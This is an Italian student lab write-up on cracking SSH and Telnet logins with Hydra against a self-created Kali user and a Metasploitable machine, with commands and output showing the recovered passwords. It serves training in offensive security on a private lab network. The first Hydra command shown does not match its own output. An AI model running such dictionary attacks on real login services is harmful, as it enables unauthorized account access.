

Authentication Cracking con Hydra

Descrizione dell'esercizio

La prima parte dell'esercizio di oggi è guidata quindi provvederò a fornire degli screenshot dei vari step eseguiti da me.

Creiamo un nuovo utente su Kali Linux, con il comando «adduser».

Chiamiamo l'utente test_user, e configuriamo una password iniziale testpass

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1002) ...  
info: Adding new user `test_user' (1002) with group `test_user (1002)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []: Test User  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] Y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...
```

Attiviamo il servizio ssh con il comando sudo service ssh start

```
(kali㉿kali)-[~]  
$ sudo service ssh start
```

Testiamo la connessione in SSH dell'utente appena creato sul sistema, eseguendo il comando seguente: `ssh test_user@ip_kali`, sostituite `ip_kali` con l'ip della vostra macchina.

Se le credenziali inserite sono corrette, dovrete ricevere il prompt dei comandi dell'utente `test_user` sulla nostra Kali.

```
(kali@kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:w1GUS3svf405ZuiaAbU/qd/f+SKl7iArQfT3p5CVV3g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
test_user@kali)-[~]
$
```

Possiamo attaccare l'autenticazione SSH con Hydra con il seguente comando, dove `-l`, e `-p` minuscole si usano se vogliamo utilizzare un singolo username ed una singola password. Ipotizziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario. Useremo gli switch `-L`, `-P` (notate che sono entrambe in maiuscolo).

```
(kali@kali)-[~]
$ hydra -l user -P password 192.168.50.100 -t ssh
Hydra v9.5 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 15:38:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting. ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:6/p:5), ~8 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 15:39:28
```

Per la seconda parte dell'esercizio, scegliete un servizio da configurare e poi provate a craccare l'autenticazione con Hydra.

In questa fase ho deciso di attaccare il servizio Telnet della macchina Metasploitable presente all'indirizzo IP 192.168.50.101

```
(kali㉿kali)-[~]  
$ hydra -L user -P password 192.168.50.101 -t4 telnet  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization  
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 15:39:26  
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found  
, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:6/p:5), ~8 tries per task  
[DATA] attacking telnet://192.168.50.101:23/  
[23][telnet] host: 192.168.50.101 login: msfadmin password: msfadmin  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 15:40:19
```